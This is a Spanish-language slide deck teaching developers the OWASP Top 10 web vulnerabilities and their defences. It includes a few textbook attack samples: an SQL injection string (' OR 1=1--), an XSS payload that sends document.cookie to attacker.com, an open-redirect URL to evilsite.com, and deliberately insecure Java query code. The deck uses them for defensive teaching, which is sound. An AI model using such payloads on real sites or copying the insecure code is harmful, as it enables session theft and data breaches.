Este documento describe brevemente a OWASP y el OWASP Top 10. OWASP es una comunidad abierta dedicada a ayudar a organizaciones a desarrollar, comprar y mantener aplicaciones seguras. Produce herramientas, literatura y controles de seguridad. El OWASP Top 10 es una lista de los 10 vulnerabilidades más críticas reportadas frecuentemente por empresas de seguridad, con el objetivo de educar a desarrolladores sobre las consecuencias de estas debilidades.

1. Seguridad Web para
desarrolladores

2. ¿Qué es OWASP?
• Comunidad abierta dedicada a que las organizaciones
puedan desarrollar, comprar y mantener aplicaciones
confiables.
• Produce:
• Herramientas y estándares de seguridad
• Literatura sobre testing y desarrollo seguros
• Controles y librerías de seguridad
• Conferencias, notificaciones, y capítulos locales
• Investigación de aspectos de seguridad de nuevas
técnicas.
¿Qué es OWASP?
2

3. ¿Qué es el OWASP TOP 10?
• Selección de riesgos mas comunes reportados por las
principales empresas especializadas en seguridad
informática.
• Los top 10, son priorizadas de acuerdo a la prevalencia,
y el concenso sobre las estimaciones de explotabilidad,
detectabilidad, e impacto que pueden tener.
• El objetivo es educar a los desarrolladores, diseñadores,
arquitectos, gerentes, y organizaciones sobre las
consecuencias de esas debilidades de seguridad en
aplicaciones web.
¿Qué es el TOP 10?
3

4. OWASP Top Ten
4

5. Inyección
• Engañar a una aplicación para enviar comandos no esperados al intérprete
¿Qué es?
• Toman strings y los interpretan como comandos
• SQL, Shell del SO, LDAP, XPath, Hibernate, etc…
Interpretes
• Hay muchas apps que son suceptibles, aunque es simple de evitar
• El objetivo es muy codiciado, porque es todo el sistema, o la BD al completo.
Inyección SQL
• Usualmente severo. Toda la base de datos puede ser leída, modificada, o
borrada.
• Puede permitir acceso total al esquema, a la cuenta o aún acceso a nivel del
SO
Impacto típico
5

6. SQL Injection
Firewall
Hardened OS
Web Server
App Server
Firewall
Databases
LegacySystems
WebServices
Directories
HumanResrcs
Billing
Código particular
ATAQUE DE
APLICACIÓN
CapaderedCapadeaplicación
Accounts
Finance
Administration
Transactions
Communication
KnowledgeMgmt
E-Commerce
Bus.Functions
HTTP
request

SQL
query

DB Table


HTTP
response


"SELECT * FROM
accounts WHERE
acct=‘’ OR 1=1--
’"
1. La aplicación presenta un
formulario al atacante
2. El atacante envía un ataque en
los datos del formulario
3. La aplicación reenvía el ataque a
la BD en una consulta SQL
Account Summary
Acct:5424-6066-2134-4334
Acct:4128-7574-3921-0192
Acct:5424-9383-2039-4029
Acct:4128-0004-1234-0293
4. El motor de BD corre la consulta
conteniendo el ataque y envía los
resultados encriptados a la
aplicación.
5. La aplicación desencripta los
datos como siempre y envía los
resultados al usuario.
Account:
SKU:
Account:
SKU:
6

7. Evitar fallas de Inyección
• Evitar el interprete totalmente, o
• Usar una interfaz que soporta variables enlazadas (ej. prepared
statements, o stored procedures),
• Las variables enlazadas permiten al interprete distinguir entre código
y datos
• Encodear (ej. escapear) todas las entradas de usuario antes de
pasarselas al interprete
• Siempre realizar una validación de tipo “lista blanca” para todas las
entradas de usuario
• Siempre minimizar los privilegios de acceso a la BD para reducir el
impacto de una falla
Recomendaciones
• https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
Mas información
7

8. Evitar fallas de Inyección
8
String query = "SELECT account_balance FROM user_data WHERE user_name = "
+ request.getParameter("customerName");
try {
Statement statement = connection.createStatement( … );
ResultSet results = statement.executeQuery( query );
}
EJEMPLO INSEGURO:
¿Cual es el problema?
Query unsafeHQLQuery = session.createQuery("from Inventory where
productID='"+userSuppliedParameter+"'");
Java
Hibernate HQL

9. Evitar fallas de Inyección
9
String custname = request.getParameter("customerName");
// Aquí se debería validar la entrada para detectar ataques
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";
PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );
Defensa 1: Prepared statements (Parametrized queries)
Java
C# (.NET)
String query = "SELECT account_balance FROM user_data WHERE user_name = ?";
OleDbCommand command = new OleDbCommand(query, connection);
command.Parameters.Add(new OleDbParameter("customerName",
Request.Form["customerName"]));
OleDbDataReader reader = command.ExecuteReader();
HQL
Query safeHQLQuery = session.createQuery("from Inventory where productID=:productid");
safeHQLQuery.setParameter("productid", userSuppliedParameter);

10. Evitar fallas de Inyección
String custname = request.getParameter("customerName"); // Esto se debería validar
CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");
cs.setString(1, custname);
ResultSet results = cs.executeQuery();
Defensa 2: Usar Stored Procedures seguros*
Java
VB (.NET)
Dim command As SqlCommand = new SqlCommand("sp_getAccountBalance", connection)
command.CommandType = CommandType.StoredProcedure command.Parameters.Add(new
SqlParameter("@CustomerName", CustomerName.Text))
Dim reader As SqlDataReader = command.ExecuteReader()
- A veces se elige seguir este camino por problemas de performance en casos muy particulares
con los prepared statements.
- Tiene las contras ya conocidas de que la lógica queda en la BD
- Hay que tener cuidado con los permisos que se dan para ejecutar los SPs, para que sean los
mínimos necesarios

11. Evitar fallas de Inyección
11
ORACLE – Sin escapear
String query = "SELECT user_id FROM user_data WHERE user_name = '" +
req.getParameter("userID") + "' and user_password = '" + req.getParameter("pwd") +"'";
Statement statement = connection.createStatement( … );
ResultSet results = statement.executeQuery( query );
Defensa 3: Escapear todas las entradas de usuario
- No es un reemplazo de los anteriores, puede complementar, y ayudar a mitigar si no es
viable implementar los anteriores, o si no se quiere modificar demasiado el código ya
existente.
- Depende del motor de BD (DBMS)
- Hay recursos como ESAPI que sirven para esta tarea. Por ahora soporta Oracle y Mysql*
Encoder oe = new OracleEncoder();
String query = "SELECT user_id FROM user_data WHERE user_name = '" + oe.encode(
req.getParameter("userID")) + "' and user_password = '" + oe.encode(
req.getParameter("pwd")) +"'";
ORACLE – Escapeado con ESAPI

12. Evitar fallas de Inyección
12
Defensa adicional: Otorgar los menores privilegios
- No usar usuarios con privilegios DBA u otro tipo de administrador para las cuentas de
usuario de la aplicación en la BD (ej: NO USAR “sa” EN MSSQL SERVER)
- Pensar los permisos que necesito tener en lugar de partir de un usuario administrador y
pensar que tengo que sacar.
- Si solo se usan SPs dar solo permisos de ejecución a los mismos, y denegar acceso a las
tablas.
- Si se precisa acceder solo a porciones de datos, utilizar vistas y dar permisos a ellas en
lugar de a las tablas origen.
- Verificar que el motor corra con usuario con privilegios reducidos (no debería correr con
root !!)
Defensa adicional: Validaciones de lista blanca para las entradas
- Sencillamente definir exactamente lo que ES valido y permitido ingresar y todo lo demás
debe ser rechazado.
- Validar formatos de campos (por tipo, por formato de string (ej. Teléfono, etc.)
- Usar expresiones regulares para validar entradas de texto

13. Quiebre de Autenticación y
Gestión de la Sesion
• Esto significa que las credenciales viajan en cada request
• Debería usarse TLS para todo lo que requiere autenticación
HTTP es un protocolo “stateless”
• Se usa el SESSION ID para trackear el estado ya que HTTP no lo hace. Es lo mismo
que darle credenciales a un atacante
• El SESSION ID esta expuesto en la red, en el browser, en logs, …
Fallas en la gestión de la Sesion
• Falta de controles apropiados en las típicas funcionalidades: “Cambiar mi
contraseña”, “Recordar mi contraseña”, “Olvide mi contraseña”, “Pregunta
secreta”, “Logout”, “Dirección de Email”, etc…suelen abrir puertas para los
atacantes.
Cuidado con las puertas laterales
• Cuentas de usuario comprometidas o sesiones secuestradas (session hijacking)
Impacto típico
13

14. Quiebre de autenticación
Código particular
Accounts
Finance
Administration
Transactions
Communication
KnowledgeMgmt
E-Commerce
Bus.Functions
1 El usuario envia credenciales
2
El sitio usa sobreescritura de
URL (i.e., put session in URL)
3
El usuario hace click en un link a
http://www.hacker.com en un foro
www.boi.com?JSESSIONID=9FA1DB9EA...
4
El hacker chequea lo que le queda en el log que le
queda en su sitio www.hacker.com
y encuentra el JSESSIONID del usuario
5
El hacker usa el JSESSIONID y
se apodera de la cuenta de la
victima

15. Evitar quiebres de Autenticación
y gestión de la sesion
• La Autenticación debe ser simple, centralizada, y estandarizada
• Usar el session id provisto por su contenedor
• Asegurarse que las credenciales y el session id estan protegidos por TLS todo
el tiempo
Verificar su arquitectura
• No confiarse en las herramientas de análisis automático
• Chequear su certificadoTLS
• Examinar todas las funciones relacionadas a la autenticación
• Verificar que el logoff realmente destruye la sesion
• Usar WebScarab de OWASP’s para testear la implementación
Verificar la implementación
• https://www.owasp.org/index.php/Authentication_Cheat_Sheet
Mas información
15

16. Cross-Site Scripting (XSS)
• Datos en crudo o código del atacante son enviados al browser del usuario
Ocurre todo el tiempo…
• Almacenados en la base de datos
• Reflejados desde la entrada web (campo del form, campo oculto, URL, etc..)
• Enviado directamente a un cliente rico JavaScript
Datos en crudo…
• Robar la sesion de usuario, robar información sensible, reescribir una
página, redireccionar al usuario a una página de phishing o malware.
• Mas severo: Instalar un proxy XSS que permite al atacante observar y dirigir
el comportamiento de todos los usuarios en un sitio vulnerable y forzar al
usuario a pasar por otros sitios distintos al original.
Impacto Típico
16

17. Cross-Site Scripting
Aplicación con la
vulnerabilidad de XSS
Almacenado.
3
2
El atacante arma la trampa– actualizar mi perfil
El atacante ingresa un
script malicioso en una
página que guarda los
datos en el servidor.
1
La víctima revisa la página – ve el perfil del atacante
El Script envía al atacante la cookie de sesion de la víctima en
forma silenciosa
El script corre en el
browser de la víctima con
acceso total al DOM y a
las cookies de la misma
Código Particular
Accounts
Finance
Administration
Transactions
Communication
KnowledgeMgmt
E-Commerce
Bus.Functions
17

18. Ejemplos de fallas de XSS
18
(String) page +=
"<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";
Ejemplo
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'
Uso de datos no confiable en la construcción de HTML
El atacante modifica el parámetro CC en su browser
Esto causa que el session ID se envía al sitio web del atacante, permitiendo secuestrar la sesión
de usuario.

19. (AntiSamy)
Avoiding XSS Flaws
• Recomendaciones
– Eliminar Fallas
• No incluir las entradas de usuario en la página de salida
– Defenderse de la Falla
• Usar una Política de Seguridad de Contenidos (PSC)
• Recomendación Primaria: Encodear la salida de todas las entradas de usuario
(Use ESAPI de OWASP u otros codificadores propios del lenguaje para
encodear la salida)
https://www.owasp.org/index.php/ESAPI
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
• Realizar una validación de entradas de “Lista blanca” para todas las entradas a
ser incluidas en la página.
• Para grandes trozos de HTML proporcionado por el usuario, usar AntiSamy de
OWASP para sanear el HTML
See: https://www.owasp.org/index.php/AntiSamy
• Referencias
– Para ver como encodear la salida adecuadamente ver:
https://www.owasp.org/index.php/XSS_(Cross Site Scripting) Prevention Cheat Sheet 19

20. Esquemas de Escapeo Seguro en
Varios contextos de ejecución HTML
CSS Property Values
(e.g., .pdiv a:hover {color: red; text-decoration:
underline} )
JavaScript Data
(e.g., <script>
someFunction(‘DATA’)</script> )
HTML Attribute Values
(e.g., <input name='person' type='TEXT'
value='defaultValue'> )
HTML Element Content
(e.g., <div> some text to display </div> )
URI Attribute Values
(e.g., <a href=" http://site.com?search=DATA" )
#4: Todos no alfanuméricos < 256  HH
ESAPI: encodeForCSS()
#3: Todos no alfanuméricos < 256  xHH
ESAPI: encodeForJavaScript()
#1: ( &, <, >, " )  &entity; ( ', / )  &#xHH;
ESAPI: encodeForHTML()
#2: Todos no alfanuméricos < 256  &#xHH;
ESAPI: encodeForHTMLAttribute()
#5: Todos no alfanuméricos < 256  %HH
ESAPI: encodeForURL()
TODOS los otros contextos NO pueden incluir Datos no Confiables
Recomendación: Solo permitir #1 y #2 y deshabilitar todos los otros
Ver: www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet 20

21. Referencias Directas a Objetos
Inseguras
• Esto es parte de forzar una “Autorización” apropiada, junto con
A7 – Fallar en Restringir el Acceso por URL
¿Como protege el acceso a sus datos?
• Solo listar los objetos autorizados, para el usuario actual
• Ocultar las referencias a objetos en campos ocultos
• … y luego no forzar estas restricciones en del lado del servidor
• Esto se llama control de acceso de capa de presentación, y no es seguro
• El atacante simplemente altera los valores de los parámetros
Un error común…
• Los usuarios pueden acceder a archivos o datos sin autorización
Impacto
21

22. Referencia Directa a Objeto
Insegura
• El Atacante nota que su
parámetro “acct” es 6065
?acct=6065
• El modifica a un número
cercano
?acct=6066
• El atacante ve la
información de la cuenta
de la víctima
https://www.onlinebank.com/user?acct=6065
22

23. Evitando las Referencias
Directas a Objetos
• Eliminar la Referencia Directa a Objeto
– Reemplazarlas con un valor de mapeo temporal (ej. 1, 2, 3)
– ESAPI provee soporte para mapeos numéricos y aleatorios
• IntegerAccessReferenceMap & RandomAccessReferenceMap
• Validar la referencia directa a objeto
– Verificar que el valor del parámetro está formateado adecuadamente
– Verificar que el usuario tenga permisos para acceder al objeto
• Las restricciones de consultas lo hacen muy bien
– Verificar que el modo de acceso requerido para el objeto esté
permitido (ej: read, write, delete)
http://app?file=1
Report123.xls
http://app?id=7d3J93
Acct:9182374http://app?id=9182374
http://app?file=Report123.xls
Access
Reference
Map
23

24. Mala Configuración de
Seguridad
• En todos lados, desde el S.O. hasta el App Server
Las aplicaciones web confían en cualquier equipo
• Piensa en todos los lugares donde tu está tu código
• La seguridad no debería requerir código fuente secreto
¿Tu código fuente es secreto?
• Todas las credenciales deberían cambiar al pasar al ambiente de
producción
CM se debe extender a todas las partes de la aplicación
• Puerta trasera de instalación debido a algún parche del S.O. o del
servidor faltante
• Acceso no autorizado a cuentas por defecto, funcionalidades de la
aplicación, o datos, o funcionalidades en desuso pero accesibles debido
a una pobre configuración
Impacto

25. Hardened OS
Web Server
App Server
Framework
Mala Configuración de
Seguridad
Configuración de la App
Código particular
Accounts
Finance
Administration
Transactions
Communication
KnowledgeMgmt
E-Commerce
Bus.Functions
Test Servers
QA Servers
Source Control
Development
Database
Insider

26. Evitando la Mala
Configuración de
Seguridad
• Verifica la administración de la configuración de tu sistema
– Guía de “hardening” para la configuración de seguridad
• La AUTOMATIZACION es realmente útil aquí
– Debe cubrir toda la aplicación y la plataforma
– Analizar los efectos en la seguridad en los cambios
• Se puede “descargar” la configuración de seguridad de la aplicación
– Incluir reportes en su proceso
– Si no puedes verificarlo, entonces no es seguro
• Verificar la implementación
– Los escaneos encuentran información genérica de configuración y parches de
seguridad faltantes

27. Exposición de Datos Sensibles
• Identificar toda la información sensible
• Identificar todos los lugares donde esta información se guarda
• Bases de Datos, archivos, directorios, logs, backups, etc
• Identificar todos los lugares donde esta información es enviada
• Hacia la web, o bases de datos de backend, comunicaciones, partners, etc
• Proteger debidamente esta información en cada lugar
Guardando y transmitiendo datos sensibles en forma insegura
• Los atacantes acceden o modifican información confidencial o privada
• Ej. Tarjetas de crédito, registros médicos, información financiera, etc.
• Los atacantes extraen secretos para usar en ataques adicionales
• Perdida de imagen, clientes insatisfechos, y pérdida de confianza
• Gastos de limpieza del incidente
• Análisis forense, enviar cartas de disculpas, re-emisión de miles de TC,
cubriendo seguros de robo de identidad
• Demandas y multas al negocio
Impacto

28. Caso: Almacenamiento de Datos
Criptográficos
Código particular
Accounts
Finance
Administration
Transactions
Communication
Knowledge
Mgmt
E-Commerce
Bus.Functions
1
La víctima ingresa su
número de tarjeta de
crédito en un formulario
2
Logs de manejo de errores incluye
detalle de información de TC
porque el servidor del comercio
no esta disponible
4 Una persona interna
roba 4 millones de
tarjetas de crédito
Log files
3Los logs son accesibles a todos
los miembros del departamento
de IT para poder debuguear

29. Evitando el almacenamiento
criptográfico inseguro
• Verifique su arquitectura
– Identifique todos los datos sensibles
– Identifique todos los lugares donde los datos son guardados
– Asegurese de que el modelo de amenazas enumere los posibles ataques
– Use encriptación para contrarestar amenazas. No solo encripte los datos.
• Protejase con mecanismos apropiados
– Encriptación de archivos, encriptación de base de datos, encriptación de datos
• Use los mecanismos correctamente
– Use los algoritmos estándares fuertes
– Genere, distribuya, y proteja las claves apropiadamente
– Esté preparado para realizar cambios de clave
• Verifique la implementación
– Que un algoritmo estándar sea usado, y que es el apropiado para la situación
– Todas las claves, certificados, y passwords están apropiadamente guardadas, y protegidas
– Asegure la distribución de claves, y de que haya un plan efectivo para el cambio de claves
– Analice el código de cifrado en busca de fallas comunes

30. Ej: Protección de capa de
transporte insuficiente
Custom Code
Empleados
Socios de negocioVictima externa
Backend Systems
Atacante externo
1
Atacante externo
roba credenciales
y datos fuera de la
red
2
Atacante interno,
roba credenciales y
datos desde la red
interna
Atacante interno

31. Evitando la falta de protección
en la capa de transporte
• Protéjase con los mecanismos apropiados
– Use TLS en todas las conexiones con datos sensibles
– Use HSTS (HTTP Strict Transport Security)
– Use key pinning (fijado de claves o certificados para hosts)
– Encriptar mensajes individualmente antes de su transmisión
• Ej., XML-Encryption
– Firmar mensajes antes de su transmisión
• Ej., XML-Signature
• Use los mencanismos correctamente
– Use algoritmos fuertes estándar (deshabilite algoritmos SSL viejos)
– Gestione las claves / certificados apropiadamente
– Verifique los certificados SSL antes de usarlos
– Use mecanismos probados cuando sea suficiente
• Ej., SSL vs. XML-Encryption
• Ver: http://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet

32. Ausencia de control de acceso a nivel
de función
• Esto es parte de forzar un “autorización” apropiada, junto con A4 –
Referencias directas inseguras a objetos
Cómo proteges el acceso a las URLs (páginas)?
O funciones referenciadas por una URL + parámetros?
• Mostrar solo links autorizados y opciones de menú
• Esto es normalmente llamado control de acceso de la capa de presentación
y no funciona
• El atacante simplemente realiza un acceso directo a las páginas no
autorizadas
Un error común…
• Los atacantes invocan funciones y servicios para los que no están
autorizados
• Acceso a otras cuentas de usuario y datos
Impacto

33. Ejemplo de ausencia de control
de acceso a nivel de función
• El atacante se da cuenta que la
URL indica el rol
/user/getAccounts
• Lo modifica para otro
directorio (rol)
/admin/getAccounts, o
/manager/getAccounts
• El atacante puede llegar a
acceder a información a la que
no debería tener acceso
https://www.onlinebank.com/user/getAccountshttps://www.onlinebank.com/user/getAccounts

34. Evitando la ausencia de control
de acceso a nivel de función
• Para cada función, un sitio necesita hacer 3 cosas
– Restringir el acceso a los usuarios autenticados (si no es algo pùblico)
– Forzar permisos por usuario o rol (si es prvado)
– Deshabilitar completamente los request a recursos no autorizados (ej: config files, log
files, source files, etc.)
• Verificar su arquitectura
– Usar un modelo simple y positivo en todas las capas
– Asegurarse de que cuanta con un mecanismo de control en cada capa
• Verificar la implementación
– Olvidarse de los análisis automáticos
– Verificar que cada URL (mas cada parámetro) referenciando a una función es protegida
por:
• Un filtro externo, como Java EE web.xml o un producto comercial
• O chequeos internos en SU código – ej., use el método isAuthorizedForURL() de ESAPI’s
– Verifique que el servidor de configuración no permita request de tipos de archivos no
autorizado.
– Use OWASP’s ZAP en su browser para forzar requests no autorizados

35. Cross Site Request Forgery
(CSRF)
• Un ataque donde el browser de una víctima se puede trucar para que envíe un
comando a una aplicación web vulnerable
• La vulnerabilidad es causada por los browsers que automáticamente incluyen
datos de la autenticación de usuario en cada request (session ID, dirección IP,
Credenciales de dominio Windows
CSRF (falsificación de request entre sitios)
• Que tal si un hacker pudiera controlar un mouse y hacerlo dar unos clicks en el
sitio de su banca online?
• Que le podrían llegar a hacer a usted?
Imagine…
• Iniciar transacciones (transferir fondos, desloguear usuario, cerrar una cuenta)
• Acceder a información sensible
• Cambiar detalle o datos de la cuenta
Impacto

36. CSRF Patrón de vulnerabilidad
• El problema
– Los web browsers automáticamente incluyen la mayoría de las credenciales en
cada request.
– Eso lo hacen aún para los requests causados por un form, script, o imagen en
otro sitio
• Todos los sitios basados solamente en credenciales automáticas
son vulnerables!
– (casi todos los sitios son así)
• Credenciales provistas automáticamente
– Cookie de sesión
– Header de autenticación básica
– Dirección IP
– Certificados SSL del lado cliente
– Autenticación de dominio de Windows

37. CSRF Ilustrado
3
2
El atacante setea la trampa en algún servidor de Internet
(o sencillamente a través de un email)1
Mientras esta logueada al sitio vulnerable,
la victima ve el sitio del atacante
El sitio vulnerable ve un
request legítimo de la
victima, y realiza la
acción requerida
El tag <img> cargado por el
browser – envía un request
GET (incluyendo las
credenciales) a un sitio
vulnerable
Custom Code
Accounts
Finance
Administration
Transactions
Communication
KnowledgeMgmt
E-Commerce
Bus.Functions
Tag oculto <img> que
contiene un ataque a un
sitio vulnerable
Aplicación con
vulnerabilidad CSRF

38. Evitando fallas de CSRF
• Agregar un token secreto, que no se envía automáticamente, a TODOS los
request sensibles
– Esto hace imposible que el atacante pueda simular el request
• (a menos que haya un agujero XSS en la aplicación)
– Los tokens deberían ser criptográficamente fuertes o aleatorios
• Opciones
– Guardar un solo token en la sesion y agregarlo a todos los formularios y links
• Campo oculto:
<input name="token" value="687965fdfaew87agrde" type="hidden"/>
• URL de un solo uso: /accounts/687965fdfaew87agrde
• Token de formulario: /accounts?auth=687965fdfaew87agrde …
– Tener cuidado de exponer el token en un referer header
• Se recomienda utiizar campos ocultos
– Puede tener un token único para cada función
• Use un hash del nombre de la función, session id, y algún valor secreto
– Se puede requerir autenticación secundaria para las funciones sensibles (ej., eTrade)
• No permitir que los atacantes guarden ataques en su sitio
– Encodear apropiadamente todas las entradas a la salida
– Esto renderiza todos los links/requests como inertes en la mayoría de los intérpretes
Ver el: www.owasp.org/index.php/CSRF_Prevention_Cheat_Sheet

39. Usando componentes conocidos
vulnerables
•Algunos componentes vulnerables (ej., frameworks o librerías) pueden ser identificados y
explotados con herramientas automáticas
•Esto expande el pool de agentes de amenzas mas allá de los atacantes objetivo para incluir
otros actores casuales
Los componentes vulnerables son comunes
•Virtualmente cada aplicación tiene estos problemas porque la mayoría de los equipos de
desarrollo no tienen cuidado de que sus componentes/librerías tengan las últimas
actualizaciones, especialmente las de seguridad.
•En muchos casos, los desarrolladores ni siquiera saben todos los componentes que usan, y
menos aún la versión. Las dependencias entre componentes hace todavía mas complejo
este tema.
Extensión
•Una amplia gama de debilidades es posible, incluyendo inyección, quiebre del control de
acceso, XSS, etc...
•El imapcto puede variar desde algo mìnimo hasta apoderarse completamente del host y de
los datos
Impacto típico
39

40. Que puede hacer para evitar
esto?
• Automatizar los chequeos periódicos (ej., nightly build) para verificar si sus librerías
están desactualizadas
• Aún mejor, la automtización le puede advertir sobre vulnerabilidades conocidas
Ideal
• Periódicamente chequear manualmente para ver si las librerías están desactualizadas
y actualizar las que lo están.
• Si alguna está desactualizada, pero realmente no quiere actualizarla, chequear si
existen problemas de seguridad conocidos con alguna de las librerías
• Si lo hay, actualizar esos
Mínimo
• Periódicamente chequear para ver si alguna de las librerías tiene alguna
vulnerabilidad conocida en el momento
• Chequear CVE, y otros repositorios de vulnerabilidades
• Si alguno tiene, actualizar por lo menos ese
Puede también
40

41. Redirects no validados y
Forwards
• Y frecuentemente incluyen paramteros proporcionados por el usuario en la
URL destino
• Si no son vaIidados, el atacante puede enviar a la víctima al sitio que quiera
Los redirects de aplicaciones web son muy comunes
• Internamente envían el request a una nueva página en la misma aplicación
• Algunas veces los parámetros definen la página objetivo
• Si no son validados, el atacante puede ser capaz de usar forwards no
validados para bypasear la autenticación, o chqueos de autorización
Forwards (Transfer en .NET) son comunes también
• Redirigir la víctima a un sitio de phishing o malware
• El request del atacante es “forwardeado” pasando los chequeos de
seguidad, permitiendo acceder a funciones o datos no atuorizados
Impacto

42. Redirects no validados
3
2
El atacante envía un ataque a la víctima por email o en una web
De: Servicio de Ganancias Internas
Asunto: Su devolución no reclamada
Nuestros registros muestran que usted
tiene una devolución de impuestos sin
reclamar. Por favor clicquee aquí para
iniciar su reclamo.
1
La aplicación redirige la
víctima al sitio del atacante
Los requests son enviados a
un sitio vulnerable,
incluyendo la dirección
destino del atacante como un
parámetro. El redirect envía la
víctima al sitio del atacante.
Código particular
Accounts
Finance
Administration
Transactions
Communication
KnowledgeMgmt
E-Commerce
Bus.Functions
4
El sitio maligno instala el malware
en la víctima, o hace phishing por
información privada
La víctima clicquea el link conteniendo
parámetros no validados
Sitio maligno
http://www.irs.gov/taxrefund/claim.jsp?year=2006
& … &dest=www.evilsite.com

43. Forwards no validados
2
El atacante envía el ataque a una página vulnerable a la que tiene acceso1
La aplicación autoriza el
request, el cual continúa
hacia la página vulnerable
Request enviado a una
página vulnerable para la
que el usuario no tiene
acceso. La redirección
envìa al usuaio
directamente a la página
privada, bypaseando el
control de acceso.
3 La página que hace el forwarding no
valida el parámetro, enviando al
atacante a la página no autorizada
bypaseando el control de accesopublic void doPost( HttpServletRequest request,
HttpServletResponse response) {
try {
String target = request.getParameter( "dest" ) );
...
request.getRequestDispatcher( target
).forward(request, response);
}
catch ( ...
Filtro
public void metodoSensible(
HttpServletRequest request,
HttpServletResponse response) {
try {
// Hacer cosas sensibles.
...
}
catch ( ...

44. Evitando redirects no
validados y Forwards
• Hay varias opciones
1. Evitar usar redirects y forwards tanto como pueda
2. Si los usa, no incluya parametros de usuario en la definición de la URL objetivo
3. Si “debe” usar parametros, entonces haga alguna de las siguientes
a) Validar cada parámetro para asegurarse de que es válido y autorizado para el usuario actual
b) (preferida) – Usar mapeo del lado del servidor para traducir las opciones presentadas al usuario con la
página destino correspondiente a cada opción
– Defensa en profunidad: Para redirects, validar la URL objetivo, lugo de que es calculada para
asegurarse de que va a un sitioi externo autorizado
– ESAPI puede resolver esto!!
• Ver: SecurityWrapperResponse.sendRedirect( URL )
• http://owasp-esapi-java.googlecode.com/svn/trunk_doc/org/owasp/esapi/filters/
SecurityWrapperResponse.html#sendRedirect(java.lang.String)
• Algunas ideas sobre proteger los Forwards
– Idealmente, llamaría al controlador de acceso para asegurarse de que el usuario está
autorizado antes de realizar el forward (con ESAPI esto es sencillo)
– Con un filtro externo, como Siteminder, esto no es muy práctico
– Lo siguiente mejor que se puede hacer es asegurarse de que los usuarios que pueden
acceder a la página original estén TODOS autorizados para acceder a la pàgina objetivo.

45. Resumen: ¿Cómo enfrentar
estos problemas?
• Desarrollar código seguro
– Seguir las mejores prácticas de “OWASP Guide to Building Secure Web
Applications”
• https://www.owasp.org/index.php/Guide
• Y las cheat sheets: https://www.owasp.org/index.php/Cheat_Sheets
– Use “OWASP’s Application Security Verification Standard” como una guía para lo
que una aplicación necesita para ser segura
• https://www.owasp.org/index.php/ASVS
– Use componentes estándares de seguridad que apliquen a su organización
• Use “OWASP’s ESAPI” como la base para SUS componentes estándar
• https://www.owasp.org/index.php/ESAPI
• Verifique sus aplicaciones
– Haga que unequipo experto revise sus aplicaciones
– Revisen las aplicaciones ustedes mismos siguiendo las Guias OWASP
• OWASP Code Review Guide:
https://www.owasp.org/index.php/Code_Review_Guide
• OWASP Testing Guide:
https://www.owasp.org/index.php/Testing_Guide

46. Gracias